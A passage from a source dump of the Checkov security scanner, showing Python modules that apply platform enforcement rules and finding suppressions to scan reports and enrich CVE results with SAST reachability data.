self._add_ckv_id_for_filtered_cloned_checks(self.filtered_exception_policy_ids, exclude_policies) else: self.filtered_policy_ids = policy_ids self._add_ckv_id_for_filtered_cloned_checks(self.filtered_policy_ids, exclude_policies) def _add_ckv_id_for_filtered_cloned_checks(self, policy_ids: list[str], exclude_policies: bool) -> None: """ Filtered checks are the policies that are returned by --policy-metadata-filter. Filtered exclusion checks are the policies that are returned by --policy-metadata-filter-exclusion. Cloned checks are policies that have modified metadata in Prisma (severity, title etc). Filtered checks do not have a definition if they are cloned, instead they have a sourceIncidentId which corresponds to the BC ID of the original source check. This method adds the CKV ID for that source check to the list of filtered policies to ensure it is run. Example: Input: filtered_policy_ids = [ "org_AWS_1609123441" ] ckv_id_to_source_incident_id_mapping = { "org_AWS_1609123441": "BC_AWS_GENERAL_123" } bc_id_to_ckv_id_mapping = { "BC_AWS_GENERAL_123": "CKV_AWS_123" } Output: filtered_policy_ids = [ "org_AWS_1609123441", "CKV_AWS_123" ] """ ckv_ids = [] for policy_id in policy_ids: source_bc_id = self.get_source_incident_id_from_ckv_id(policy_id) if not source_bc_id: continue ckv_id = self.get_ckv_id_from_bc_id(source_bc_id) if not ckv_id: continue ckv_ids.append(ckv_id) if exclude_policies: self.filtered_exception_policy_ids += ckv_ids return self.filtered_policy_ids += ckv_ids def pre_runner(self, runner: _BaseRunner) -> None: # not used pass def post_runner(self, scan_reports: Report) -> None: # not used pass def post_scan(self, merged_reports: list[Report]) -> None: # not used pass integration = PolicyMetadataIntegration(bc_integration) ================================================ FILE: checkov/common/bridgecrew/integration_features/features/repo_config_integration.py ================================================ from __future__ import annotations import json import logging from typing import TYPE_CHECKING, Any from checkov.common.bridgecrew.code_categories import CodeCategoryConfiguration, CodeCategoryType from checkov.common.bridgecrew.integration_features.base_integration_feature import BaseIntegrationFeature from checkov.common.bridgecrew.platform_integration import bc_integration from checkov.common.bridgecrew.severities import Severities, BcSeverities if TYPE_CHECKING: from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration from checkov.common.output.report import Report from checkov.common.typing import _BaseRunner class RepoConfigIntegration(BaseIntegrationFeature): def __init__(self, bc_integration: BcPlatformIntegration) -> None: super().__init__(bc_integration=bc_integration, order=0) self.skip_paths: set[str] = set() self.enforcement_rule: dict[str, Any] = {} self.code_category_configs: dict[str, CodeCategoryConfiguration] = {} def is_valid(self) -> bool: return ( self.bc_integration.is_integration_configured() and not self.bc_integration.skip_download and not self.integration_feature_failures ) def pre_scan(self) -> None: try: if not self.bc_integration.customer_run_config_response: logging.debug('In the pre-scan for repo config settings, but nothing was fetched from the platform') self.integration_feature_failures = True return # It is possible that they will have two different and conflicting rules for this repo - one for the VCS # integration that matches the value of --repo-id (org/repo), and one for the CLI upload repo (e.g., customer_org/repo). # For the skip paths, we can just combine the lists and call it good. For enforcement rules, we will # prioritize the VCS integration over CLI, and warn them that the rules should match for these repos. self._set_exclusion_paths(self.bc_integration.customer_run_config_response['vcsConfig']) self._set_enforcement_rules(self.bc_integration.customer_run_config_response['enforcementRules']) except Exception: self.integration_feature_failures = True logging.debug("Scanning without applying scanning configs from the platform.", exc_info=True) @staticmethod def _get_code_category_object(code_category_config: dict[str, Any], code_category_type: str) -> CodeCategoryConfiguration | None: if code_category_type not in code_category_config: return None soft_fail_threshold = Severities[code_category_config[code_category_type]['softFailThreshold']] hard_fail_threshold = Severities[code_category_config[code_category_type]['hardFailThreshold']] return CodeCategoryConfiguration(code_category_type, soft_fail_threshold, hard_fail_threshold) def _set_exclusion_paths(self, vcs_config: dict[str, Any]) -> None: for section in vcs_config['scannedFiles']['sections']: repos = section['repos'] if any(repo for repo in repos if self.bc_integration.repo_matches(repo)): logging.debug(f'Found path exclusion config section for repo: {section}') self.skip_paths.update(section['rule']['excludePaths']) logging.debug(f'Skipping the following paths based on platform settings: {self.skip_paths}') def _set_enforcement_rules(self, enforcement_rules_config: dict[str, Any]) -> None: rules = enforcement_rules_config['rules'] default_rule = next(r for r in rules if r['mainRule'] is True) other_rules = [r for r in rules if r != default_rule] logging.debug(f'Default enforcement rule: {json.dumps(default_rule, indent=2)}') logging.debug(f'Other enforcement rules ({len(other_rules)} total): {json.dumps(other_rules, indent=2)}') matched_rules = [] for rule in other_rules: if any(repo for repo in rule['repositories'] if self.bc_integration.repo_matches(repo['accountName'])): matched_rules.append(rule) if len(matched_rules) > 1: logging.warning(f'Found {len(matched_rules)} enforcement rules for the specified repo. This likely means ' f'that one rule was created for the VCS repo, and another rule for the CLI repo. You ' f'should update the configurations in the platform to ensure that the following repos ' f'are all in the same rule group:') exact_match_rule = None for rule in matched_rules: for repo in rule['repositories']: repo_name = repo['accountName'] if self.bc_integration.repo_matches(repo_name): logging.warning(f'- {repo_name}') if repo_name == self.bc_integration.repo_id: if exact_match_rule: logging.debug('Found multiple rules that exactly match --repo-id - likely the same ' 'name across multiple VCSes. Using the first one.') else: exact_match_rule = rule if not exact_match_rule: logging.debug('Did not find any rules with a repo name that exactly matched --repo-id; taking the ' 'first one.') self.enforcement_rule = exact_match_rule or matched_rules[0] elif len(matched_rules) == 0: logging.info('Did not find any enforcement rules for the specified repo; using the default rule') self.enforcement_rule = default_rule else: logging.info('Found exactly one matching enforcement rule for the specified repo') self.enforcement_rule = matched_rules[0] logging.debug( 'Selected the following enforcement rule (it will not be applied unless --use-enforcement-rules is specified):') logging.debug(json.dumps(self.enforcement_rule, indent=2)) # handle the rename in the platform side if 'SAST' in self.enforcement_rule['codeCategories'] and 'WEAKNESSES' not in self.enforcement_rule['codeCategories']: self.enforcement_rule['codeCategories']['WEAKNESSES'] = self.enforcement_rule['codeCategories']['SAST'] if 'WEAKNESSES' in self.enforcement_rule['codeCategories'] and 'SAST' not in self.enforcement_rule['codeCategories']: self.enforcement_rule['codeCategories']['SAST'] = self.enforcement_rule['codeCategories']['WEAKNESSES'] for code_category_type in [e.value for e in CodeCategoryType]: config = RepoConfigIntegration._get_code_category_object(self.enforcement_rule['codeCategories'], code_category_type) if config: self.code_category_configs[code_category_type] = config def is_code_review_disabled(self, code_category_type: str) -> bool: config = self.code_category_configs[code_category_type] if config.hard_fail_threshold == Severities[BcSeverities.OFF] and config.soft_fail_threshold == Severities[BcSeverities.OFF]: return True return False def pre_runner(self, runner: _BaseRunner) -> None: # not used pass def post_runner(self, scan_reports: Report) -> None: # not used pass def post_scan(self, merged_reports: list[Report]) -> None: # not used pass integration = RepoConfigIntegration(bc_integration) ================================================ FILE: checkov/common/bridgecrew/integration_features/features/suppressions_integration.py ================================================ from __future__ import annotations import itertools import logging import re from itertools import groupby from typing import TYPE_CHECKING, Pattern, Any, Optional from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.integration_features.base_integration_feature import BaseIntegrationFeature from checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import \ integration as metadata_integration from checkov.common.bridgecrew.platform_integration import bc_integration from checkov.common.models.enums import CheckResult from checkov.common.output.record import SCA_PACKAGE_SCAN_CHECK_NAME from checkov.common.util.file_utils import convert_to_unix_path from checkov.common.util.str_utils import removeprefix, align_path if TYPE_CHECKING: from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration from checkov.common.output.report import Report from checkov.common.output.record import Record from checkov.common.typing import _BaseRunner class SuppressionsIntegration(BaseIntegrationFeature): def __init__(self, bc_integration: BcPlatformIntegration) -> None: super().__init__(bc_integration=bc_integration, order=2) # must be after the custom policies integration self.suppressions_v2: dict[str, list[dict[str, Any]]] = {} self.suppressions: dict[str, list[dict[str, Any]]] = {} # bcorgname_provider_timestamp (ex: companyxyz_aws_1234567891011) # the provider may be lower or upper depending on where the policy was created self.custom_policy_id_regex = re.compile(r'^[a-zA-Z0-9]+_[a-zA-Z]+_\d{13}$') self.repo_name_regex: Pattern[str] | None = None @property def suppressions_url(self) -> str: return f"{self.bc_integration.api_url}/api/v1/suppressions" def is_valid(self) -> bool: return ( self.bc_integration.is_integration_configured() and not self.bc_integration.skip_download and not self.integration_feature_failures ) def pre_scan(self) -> None: try: if not self.bc_integration.customer_run_config_response: logging.debug('In the pre-scan for suppressions, but nothing was fetched from the platform') self.integration_feature_failures = True return suppressions = self.bc_integration.customer_run_config_response.get('suppressions') suppressions_v2 = self.bc_integration.customer_run_config_response.get('suppressionsV2') # currently just SAST for suppression in suppressions: suppression['isV1'] = True if suppression['policyId'] in metadata_integration.bc_to_ckv_id_mapping: suppression['checkovPolicyId'] = metadata_integration.get_ckv_id_from_bc_id(suppression['policyId']) else: suppression['checkovPolicyId'] = suppression['policyId'] # custom policy for suppression in suppressions_v2: suppression['isV1'] = False checkov_ids = [] for policy_id in suppression['policyIds']: if policy_id in metadata_integration.bc_to_ckv_id_mapping: checkov_ids.append(metadata_integration.bc_to_ckv_id_mapping[policy_id]) else: checkov_ids.append(policy_id) # custom policy - not supported yet suppression['checkovPolicyIds'] = checkov_ids self._init_repo_regex() suppressions = sorted(suppressions, key=lambda s: s['checkovPolicyId']) # group and map by policy ID self.suppressions = {policy_id: list(sup) for policy_id, sup in groupby(suppressions, key=lambda s: s['checkovPolicyId'])} # map suppressions v2 by checkov ID - because the policy IDs are arrays, we need to map each unique ID in each # suppression's policy ID array to its suppressions self.suppressions_v2 = SuppressionsIntegration.create_suppression_v2_policy_id_map(suppressions_v2) logging.debug('The found suppression v1 rules are:') logging.debug(self.suppressions) logging.debug('The found suppression v2 rules are:') logging.debug(self.suppressions_v2) except Exception: self.integration_feature_failures = True logging.debug("Scanning without applying suppressions configured in the platform.", exc_info=True) @staticmethod def create_suppression_v2_policy_id_map(suppressions_v2: list[dict[str, Any]]) -> dict[str, list[dict[str, Any]]]: checkov_id_map: dict[str, list[dict[str, Any]]] = {} for suppression in suppressions_v2: for checkov_id in suppression['checkovPolicyIds']: if checkov_id in checkov_id_map: checkov_id_map[checkov_id].append(suppression) else: checkov_id_map[checkov_id] = [suppression] return checkov_id_map def post_runner(self, scan_report: Report) -> None: self._apply_suppressions_to_report(scan_report) def _apply_suppressions_to_report(self, scan_report: Report) -> None: logging.debug('Start apply_suppressions_to_report') # holds the checks that are still not suppressed still_failed_checks = [] still_passed_checks = [] for check in scan_report.failed_checks + scan_report.passed_checks: # in order to be able to suppress by policy we assign the relevant check id for package / image scan # and avoiding licenses vulns if scan_report.check_type == CheckType.SCA_PACKAGE and check.check_name == SCA_PACKAGE_SCAN_CHECK_NAME: check.check_id = 'BC_VUL_2' if scan_report.check_type == CheckType.SCA_IMAGE and check.check_name == SCA_PACKAGE_SCAN_CHECK_NAME: check.check_id = 'BC_VUL_1' relevant_suppressions = self.suppressions.get(check.check_id) relevant_suppressions_v2 = self.suppressions_v2.get(check.check_id) has_suppression = relevant_suppressions or relevant_suppressions_v2 if isinstance(has_suppression, list): logging.debug(f'(_apply_suppressions_to_report) - number of suppression {len(has_suppression)}') applied_suppression = self._check_suppressions(check, relevant_suppressions, relevant_suppressions_v2) if has_suppression else None if applied_suppression: suppress_comment = applied_suppression['comment'] if applied_suppression['isV1'] else applied_suppression['justificationComment'] if self._should_omit_check(applied_suppression): logging.debug(f'Removing check {check.check_id} from the report, comment: {suppress_comment}') else: logging.debug(f'Applying suppression to the check {check.check_id} with the comment: {suppress_comment}') check.check_result = { 'result': CheckResult.SKIPPED, 'suppress_comment': suppress_comment } scan_report.skipped_checks.append(check) elif check.check_result['result'] == CheckResult.FAILED: still_failed_checks.append(check) else: still_passed_checks.append(check) scan_report.failed_checks = still_failed_checks scan_report.passed_checks = still_passed_checks @staticmethod def _should_omit_check(applied_suppression: dict[str, Any]) -> bool: if applied_suppression['isV1']: return False if applied_suppression['ruleType'] == 'policy': return True return False def _check_suppressions(self, record: Record, suppressions: Optional[list[dict[str, Any]]], suppressions_v2: Optional[list[dict[str, Any]]]) -> dict[str, Any] | None: """ Checks the specified suppressions against the specified record, returning the applied suppression, if any, else None :return: """ if suppressions: for suppression in suppressions: if self._check_suppression(record, suppression): return suppression if suppressions_v2: for suppression in suppressions_v2: if self._check_suppression_v2(record, suppression): return suppression return None def _check_cve_suppression(self, record: Record, suppression: dict[str, Any]) -> bool: if 'accountIds' not in suppression: return False if self.bc_integration.repo_id and self.bc_integration.source_id and self.bc_integration.source_id in \ suppression['accountIds'] \ and suppression['cves']: repo_name = align_path(self.bc_integration.repo_id).split('/')[-1] suppression_path = self._get_cve_suppression_path(suppression) repo_file_path = align_path(record.repo_file_path) file_abs_path = align_path(record.file_abs_path) if file_abs_path == suppression_path[1:] or \ file_abs_path == suppression_path or \ file_abs_path.endswith("".join([repo_name, suppression_path])) or \ removeprefix(repo_file_path, '/') == removeprefix(suppression_path, '/') \ or record.file_path == suppression_path: return any(record.vulnerability_details and record.vulnerability_details['id'] == cve['cve'] for cve in suppression['cves']) return False def _check_suppression(self, record: Record, suppression: dict[str, Any]) -> bool: """ Returns True if and only if the specified suppression applies to the specified record. :param record: :param suppression: :return: """ if record.check_id != suppression['checkovPolicyId']: return False type = suppression['suppressionType'] if type == 'Policy': # We already validated the policy ID above return True elif type == 'Accounts': # This should be true, because we validated when we downloaded the policies. # But checking here adds some resiliency against bugs if that changes. return any(self.bc_integration.repo_matches(account) for account in suppression['accountIds']) elif type == 'Resources': logging.debug(f'check_suppression type Resources {suppression}. resource_id = {record.repo_file_path}:{record.resource} repo_id = {self.bc_integration.repo_id}') for resource in suppression['resources']: if self.bc_integration.repo_matches(resource['accountId']) \ and (resource['resourceId'] == f'{record.repo_file_path}:{record.resource}' or resource['resourceId'] == f'{convert_to_unix_path(record.file_path)}:{record.resource}'): return True return False elif type == 'Tags': entity_tags = record.entity_tags if not entity_tags: return False suppression_tags = suppression['tags'] # a list of objects of the form {key: str, value: str} for tag in suppression_tags: key = tag['key'] value = tag['value'] if entity_tags.get(key) == value: return True elif type == 'CvesAccounts': if 'accountIds' not in suppression: return False if self.bc_integration.source_id in suppression['accountIds']: if record.vulnerability_details and record.vulnerability_details['id'] in suppression['cves']: return True return False elif type == 'Cves': return self._check_cve_suppression(record, suppression) elif type == 'LicenseType': return any(record.vulnerability_details and record.vulnerability_details['license'] == license_type for license_type in suppression.get('licenseTypes', [])) return False @staticmethod def normalize_file_path(file_path: str) -> str: """ Returns the file path with a leading slash, if not already present """ return file_path if file_path.startswith('/') else f'/{file_path}' def _check_suppression_v2_file(self, record_file_path: str, suppression_file_path: str, suppression_repo_name: str) -> bool: return self.bc_integration.repo_matches(suppression_repo_name)\ and (suppression_file_path == record_file_path or suppression_file_path == convert_to_unix_path(record_file_path)) def _check_suppression_v2(self, record: Record, suppression: dict[str, Any]) -> bool: if record.check_id not in suppression['checkovPolicyIds']: return False type = suppression['ruleType'] if type == 'policy': # We just checked the policy ID above return True elif type == 'finding': pass # TODO how to map them? elif type == 'file': record_file_path = SuppressionsIntegration.normalize_file_path(record.repo_file_path) for file_suppression in suppression['files']: suppression_file_path = SuppressionsIntegration.normalize_file_path(file_suppression['filePath']) if self._check_suppression_v2_file(record_file_path, suppression_file_path, file_suppression.get('repositoryName', '')): return True elif type == 'repository': return any(self.bc_integration.repo_matches(repo.get('repositoryName', '')) for repo in suppression['repositories']) return False def _get_cve_suppression_path(self, suppression: dict[str, Any]) -> str: suppression_path: str = align_path(suppression['cves'][0]['id']) # for handling cases of IR/docker (e.g: '/Dockerfile:/DockerFile.FROM) suppression_path_parts = suppression_path.split(':') if len(suppression_path_parts) == 2 and suppression_path_parts[1].startswith(suppression_path_parts[0]): return suppression_path_parts[0] return suppression_path def _suppression_valid_for_run(self, suppression: dict[str, Any]) -> bool: """ Returns whether this suppression is valid. A suppression is NOT valid if: - the policy does not have a checkov ID and does not have an ID matching a custom policy format - the suppression type is 'Accounts' and this repo is not included in the account list :param suppression: :return: """ policyId = suppression['policyId'] if policyId not in metadata_integration.bc_to_ckv_id_mapping and not self.custom_policy_id_regex.match( policyId): return False if suppression['suppressionType'] == 'Accounts': if not any(self.bc_integration.repo_matches(account) for account in suppression['accountIds']): return False return True def _repo_matches(self, repo_name: str) -> bool: if not self.repo_name_regex: # shouldn't happen return False # matches xyz_org/repo or org/repo (where xyz is the BC org name and the CLI repo prefix from the platform) return self.repo_name_regex.match(repo_name) is not None def _init_repo_regex(self) -> None: self.repo_name_regex = re.compile(f'^([a-zA-Z0-9]+_)?{self.bc_integration.repo_id}$') def pre_runner(self, runner: _BaseRunner) -> None: # not used pass def get_policy_level_suppressions(self) -> dict[str, list[str]]: policy_level_suppressions = {} for check_suppressions in itertools.chain(self.suppressions.values(), self.suppressions_v2.values()): for suppression in check_suppressions: if (suppression['isV1'] and suppression.get("suppressionType") == "Policy") or (not suppression['isV1'] and suppression.get("ruleType") == "policy"): policy_level_suppressions[suppression['id']] = [suppression['policyId']] if suppression['isV1'] else suppression['policyIds'] return policy_level_suppressions def post_scan(self, merged_reports: list[Report]) -> None: # not used pass integration = SuppressionsIntegration(bc_integration) ================================================ FILE: checkov/common/bridgecrew/integration_features/features/vulnerabilities_integration.py ================================================ from __future__ import annotations import os from collections import defaultdict from typing import TYPE_CHECKING, Optional, List, Dict, Any, Tuple, Set from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.integration_features.base_integration_feature import BaseIntegrationFeature from checkov.common.bridgecrew.platform_integration import bc_integration from checkov.common.output.record import SCA_PACKAGE_SCAN_CHECK_NAME, Record from checkov.common.sast.consts import SastLanguages from checkov.common.util.type_forcers import convert_str_to_bool from checkov.sast.report import SastData, SastReport from checkov.common.sca.consts import get_package_by_str, ScaPackageFile, sca_package_to_sast_lang_map if TYPE_CHECKING: from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration from checkov.common.output.report import Report from checkov.common.typing import _BaseRunner NORMALIZE_PREFIX = 'BC_NORMALIZE_' class VulnerabilitiesIntegration(BaseIntegrationFeature): def __init__(self, bc_integration: BcPlatformIntegration) -> None: super().__init__(bc_integration=bc_integration, order=2) # must be after the custom policies integration # the provider may be lower or upper depending on where the policy was created def is_valid(self) -> bool: return ( self.bc_integration.is_integration_configured() and not self.bc_integration.skip_download and not self.integration_feature_failures ) def pre_scan(self) -> None: # not used pass def pre_runner(self, runner: _BaseRunner) -> None: # not used pass def post_runner(self, scan_report: Report) -> None: # not used pass def post_scan(self, merged_reports: list[Report]) -> None: self.merge_sca_and_sast_reports(merged_reports) def merge_sca_and_sast_reports(self, merged_reports: list[Report]) -> None: if not bool(convert_str_to_bool(os.getenv('CKV_ENABLE_UPLOAD_SAST_IMPORTS', False))) or \ not bool(convert_str_to_bool(os.getenv('CKV_ENABLE_SCA_INTEGRATE_SAST', False))): return # Extract SAST imports report and reachability report sast_reports = [scan_report for scan_report in merged_reports if isinstance(scan_report, SastReport)] if not len(sast_reports): return sast_imports_report = SastData.get_sast_import_report(sast_reports) sast_reacability_report = SastData.get_sast_reachability_report(sast_reports) # Extract SCA packages report sca_packages_report = [scan_report for scan_report in merged_reports if scan_report.check_type == CheckType.SCA_PACKAGE] if not len(sca_packages_report): return # Extract vulnerabilities failed checks cves_checks = [cve_check for cve_check in sca_packages_report[0].failed_checks if cve_check.check_name == SCA_PACKAGE_SCAN_CHECK_NAME] # Create a dictionary to store the grouped records grouped_records = self.group_cves_checks_by_files(cves_checks) # Iterate over each file, get sast imports and enrich it's Cves for sca_file_path, current_cves in grouped_records.items(): # Determine the language of file lang = self.get_sast_lang_by_file_path(sca_file_path) # Extract Sast data from Sast report filtered by the language imports_entries = sast_imports_report.get('imports', {}).get(lang, {}).items() filtered_imports_entries = [(code_file_path, sast_data) for code_file_path, sast_data in imports_entries if self.is_deeper_or_equal_level(sca_file_path, code_file_path)] reachability_entries = sast_reacability_report.get('reachability', {}).get(lang, {}).items() filtered_reachability_entries = [(code_file_path, sast_data) for code_file_path, sast_data in reachability_entries if self.is_deeper_or_equal_level(sca_file_path, code_file_path)] if not len(filtered_imports_entries) and not len(filtered_reachability_entries): continue # Create maps with the relevant structure for the enrichment step sast_files_by_package_map = self.create_file_by_package_map(filtered_imports_entries) sast_reachable_cves_by_package_map = self.create_reachable_cves_by_package_map(filtered_reachability_entries) # Enrich the CVEs self.enrich_cves_with_sast_data(current_cves, sast_files_by_package_map, sast_reachable_cves_by_package_map) ''' Each SCA report check has file_path, we want to getter same file_path so we won't have to calculate SAST language more then once ''' def group_cves_checks_by_files(self, cves_checks: List[Record]) -> Dict[str, List[Record]]: # Create a dictionary to store the grouped records grouped_records: Dict[str, List[Record]] = defaultdict() # Group the records by the 'file_path' key for record in cves_checks: file_path = record.file_path if file_path not in grouped_records: grouped_records[file_path] = list() grouped_records[file_path].append(record) return grouped_records ''' convert SAST report structure to a structure grouped by package_name, for better performance in the enrich step ''' def create_file_by_package_map(self, filtered_entries: List[Tuple[Any, Any]]) -> Dict[str, List[str]]: sast_files_by_packages_map: Dict[str, List[str]] = defaultdict(list) for code_file_path, sast_data in filtered_entries: for package_name in sast_data['all']: clean_package_name = package_name.strip("'") # in case it is alias-name, getting the real one if package_name in sast_data.get('aliases', {}): clean_package_name = sast_data['aliases'][package_name] # Normalize package name normalize_package_name = self.normalize_package_name(clean_package_name) if clean_package_name not in sast_files_by_packages_map: sast_files_by_packages_map[clean_package_name] = list() if normalize_package_name not in sast_files_by_packages_map: sast_files_by_packages_map[normalize_package_name] = list() sast_files_by_packages_map[clean_package_name].append(code_file_path) sast_files_by_packages_map[normalize_package_name].append(code_file_path) return sast_files_by_packages_map def create_reachable_cves_by_package_map(self, filtered_reachability_entries: List[Tuple[Any, Any]]) -> Dict[str, Set[str]]: reachable_cves_by_packages_map: Dict[str, Set[str]] = defaultdict(set) for _, file_data in filtered_reachability_entries: packages = file_data.packages for package_name, package_data in packages.items(): for function_item in package_data.functions: reachable_cves_by_packages_map[package_name].add(function_item.cve_id) return reachable_cves_by_packages_map ####################################################################################################################### ''' enrich each CVE with the risk factor of IsUsed - which means there is a file the use the package of that CVE ''' def _is_package_used_for_cve(self, cve_vulnerability_details: Dict[str, Any], sast_files_by_package_map: Dict[str, List[str]]) -> bool: package_name = cve_vulnerability_details.get('package_name', '') normalize_package_name = self.normalize_package_name(package_name) return package_name in sast_files_by_package_map or normalize_package_name in sast_files_by_package_map def _is_reachable_function_for_cve(self, cve_vulnerability_details: Dict[str, Any], sast_reachable_cves_by_package_map: Dict[str, Set[str]]) -> bool: package_name = cve_vulnerability_details.get('package_name', '') return cve_vulnerability_details.get('id') in sast_reachable_cves_by_package_map.get(package_name, set()) def enrich_cves_with_sast_data( self, current_cves: List[Record], sast_files_by_package_map: Dict[str, List[str]], sast_reachable_cves_by_package_map: Dict[str, Set[str]] ) -> None: for cve_check in current_cves: if cve_check.vulnerability_details: is_package_used = self._is_package_used_for_cve(cve_check.vulnerability_details, sast_files_by_package_map) cve_check.vulnerability_details.get('risk_factors', {})['IsUsed'] = is_package_used is_reachable_function = self._is_reachable_function_for_cve(cve_check.vulnerability_details, sast_reachable_cves_by_package_map) cve_check.vulnerability_details.get('risk_factors', {})['ReachableFunction'] = is_reachable_function ####################################################################################################################### ''' we want to consider sast info only on files that are on the same level of the SCA file or deeper. ''' def is_deeper_or_equal_level(self, main_file_path: str, other_file_path: str) -> bool: relative_path = os.path.relpath(os.path.dirname(other_file_path), os.path.dirname(main_file_path)) return not other_file_path.startswith('.') and not relative_path.startswith('..') and not os.path.isabs( relative_path) ''' getting file_path of SCA file, like package.json and need to convert it to SAST language like Javascript first we are converting the sca file to package file like, and then converting it to SAST language ''' def get_sast_lang_by_file_path(self, file_path: str) -> Optional[SastLanguages]: suffix = file_path.split('/').pop() or '' sca_package: Optional[ScaPackageFile] = get_package_by_str(suffix) if not sca_package: return None return sca_package_to_sast_lang_map.get(sca_package, None) ''' normalize the package name because there can be different between the package name as it present in the SCA file and in the way it used in the code, so we are removing special chars for better comperation ''' def normalize_package_name(self, package_name: str) -> str: normalize_package: str = package_name.replace('-', '').replace('_', '') if './' in package_name: last_index = package_name.rfind('/') normalize_package = package_name[last_index + 1:] return f"{NORMALIZE_PREFIX}{normalize_package}" integration = VulnerabilitiesIntegration(bc_integration) ================================================ FILE: checkov/common/bridgecrew/integration_features/integration_feature_registry.py ================================================ from __future__ import annotations import logging from typing import TYPE_CHECKING if TYPE_CHECKING: from argparse import Namespace from checkov.common.bridgecrew.integration_features.base_integration_feature import BaseIntegrationFeature from checkov.common.output.report import Report from checkov.common.typing import _BaseRunner class IntegrationFeatureRegistry: def __init__(self) -> None: self.config: Namespace | None = None self.features: list[BaseIntegrationFeature] = [] def register(self, integration_feature: BaseIntegrationFeature) -> None: logging.debug(f"Adding the IntegrationFeatureRegistry {integration_feature} with order {integration_feature.order}") self.features.append(integration_feature) self.features.sort(key=lambda f: f.order) logging.debug("self.features after the sort:") logging.debug(self.features) def run_pre_scan(self) -> None: for integration in self.features: if integration.is_valid(): integration.config = self.config integration.pre_scan() def run_pre_runner(self, runner: _BaseRunner) -> None: for integration in self.features: if integration.is_valid(): integration.pre_runner(runner) def run_post_runner(self, scan_report: Report) -> None: for integration in self.features: if integration.is_valid(): integration.post_runner(scan_report) def run_post_scan(self, scan_reports: list[Report]) -> list[Report]: post_scan_reports = [] for integration in self.features: if integration.is_valid(): integration_report = integration.post_scan(scan_reports) if integration_report: post_scan_reports.append(integration_report) return post_scan_reports integration_feature_registry = IntegrationFeatureRegistry() ================================================ FILE: checkov/common/bridgecrew/licensing.py ================================================ from enum import Enum from checkov.common.bridgecrew.code_categories import CodeCategoryType class CustomerSubscription(str, Enum): IAC = "IAC" SCA = "SCA" SECRETS = "SECRETS" SAST = "SAST" class BillingPlan(str, Enum): DEVELOPER_BASED = "DEVELOPER_BASED" RESOURCE_BASED = "RESOURCE_BASED" SubscriptionCategoryMapping = { CustomerSubscription.IAC: (CodeCategoryType.IAC, CodeCategoryType.BUILD_INTEGRITY), CustomerSubscription.SCA: (CodeCategoryType.LICENSES, CodeCategoryType.VULNERABILITIES), CustomerSubscription.SECRETS: (CodeCategoryType.SECRETS,), CustomerSubscription.SAST: (CodeCategoryType.WEAKNESSES,) } CategoryToSubscriptionMapping = {} for sub, cats in SubscriptionCategoryMapping.items(): for cat in cats: CategoryToSubscriptionMapping[cat] = sub open_source_categories = [CodeCategoryType.IAC, CodeCategoryType.SECRETS, CodeCategoryType.BUILD_INTEGRITY] ================================================ FILE: checkov/common/bridgecrew/platform_errors.py ================================================ from typing import List class PlatformConnectionError(Exception): def __init__(self, message: str) -> None: self.message = message def __str__(self) -> str: return f"PlatformConnectionError: {self.message}" class BridgecrewAuthError(PlatformConnectionError): def __init__(self, message: str = "Authorization error accessing the platform api. Please check your API keys and " "Prisma API URL.") -> None: self.message = message def __str__(self) -> str: return f"BCAuthError: {self.message}" class ModuleNotEnabledError(Exception): def __init__(self, message: str, unsupported_frameworks: List[str]) -> None: self.message = message self.unsupported_frameworks = unsupported_frameworks def __str__(self) -> str: return f"ModuleNotEnabledError: {self.message}" ================================================ FILE: checkov/common/bridgecrew/platform_integration.py ================================================ from __future__ import annotations import asyncio import json import logging import os.path import re import sys import uuid from collections import namedtuple from concurrent import futures from io import StringIO from json import JSONDecodeError from os import path from pathlib import Path from time import sleep from types import MethodType from typing import List, Dict, TYPE_CHECKING, Any, Set, cast, Optional, Union from urllib.parse import urlparse import boto3 import dpath import urllib3 import urllib.parse from botocore.config import Config from botocore.exceptions import ClientError from cachetools import cached, TTLCache from colorama import Style from termcolor import colored from tqdm import trange from urllib3.exceptions import HTTPError, MaxRetryError from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.platform_errors import BridgecrewAuthError, PlatformConnectionError from checkov.common.bridgecrew.platform_key import read_key from checkov.common.bridgecrew.run_metadata.registry import registry from checkov.common.bridgecrew.wrapper import persist_assets_results, reduce_scan_reports, \ persist_checks_results, \ enrich_and_persist_checks_metadata, checkov_results_prefix, persist_run_metadata, _put_json_object, \ persist_graphs, persist_resource_subgraph_maps, persist_reachability_results, \ persist_multiple_logs_stream from checkov.common.models.consts import SAST_SUPPORTED_FILE_EXTENSIONS, SUPPORTED_FILE_EXTENSIONS, SUPPORTED_FILES, SCANNABLE_PACKAGE_FILES from checkov.common.runners.base_runner import filter_ignored_paths from checkov.common.sast.consts import SastLanguages, CDK_FRAMEWORK_PREFIX from checkov.common.typing import _CicdDetails, LibraryGraph from checkov.common.util.consts import PRISMA_PLATFORM, BRIDGECREW_PLATFORM from checkov.common.util.data_structures_utils import merge_dicts from checkov.common.util.dockerfile import is_dockerfile from checkov.common.util.http_utils import ( normalize_prisma_url, get_auth_header, get_default_get_headers, get_user_agent_header, get_default_post_headers, get_prisma_get_headers, get_prisma_auth_header, get_auth_error_message, normalize_bc_url, REQUEST_CONNECT_TIMEOUT, REQUEST_READ_TIMEOUT, REQUEST_RETRIES, ) from checkov.common.util.type_forcers import convert_prisma_policy_filter_to_params, convert_str_to_bool from checkov.version import version as checkov_version if TYPE_CHECKING: import argparse from checkov.common.bridgecrew.bc_source import SourceType from checkov.common.output.report import Report from checkov.secrets.coordinator import EnrichedSecret from mypy_boto3_s3.client import S3Client from typing_extensions import TypeGuard from checkov.common.sast.report_types import Match, SkippedCheck SLEEP_SECONDS = 1 EMAIL_PATTERN = re.compile(r"[^@]+@[^@]+\.[^@]+") UUID_V4_PATTERN = re.compile(r"^[0-9a-f]{8}\b-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-\b[0-9a-f]{12}$") # found at https://regexland.com/base64/ BASE64_PATTERN = re.compile(r"^(?:[A-Za-z\d+/]{4})*(?:[A-Za-z\d+/]{3}=|[A-Za-z\d+/]{2}==)?$") REPO_PATH_PATTERN = re.compile(r'checkov/(.*?)/src') ACCOUNT_CREATION_TIME = 180 # in seconds UNAUTHORIZED_MESSAGE = 'User is not authorized to access this resource with an explicit deny' 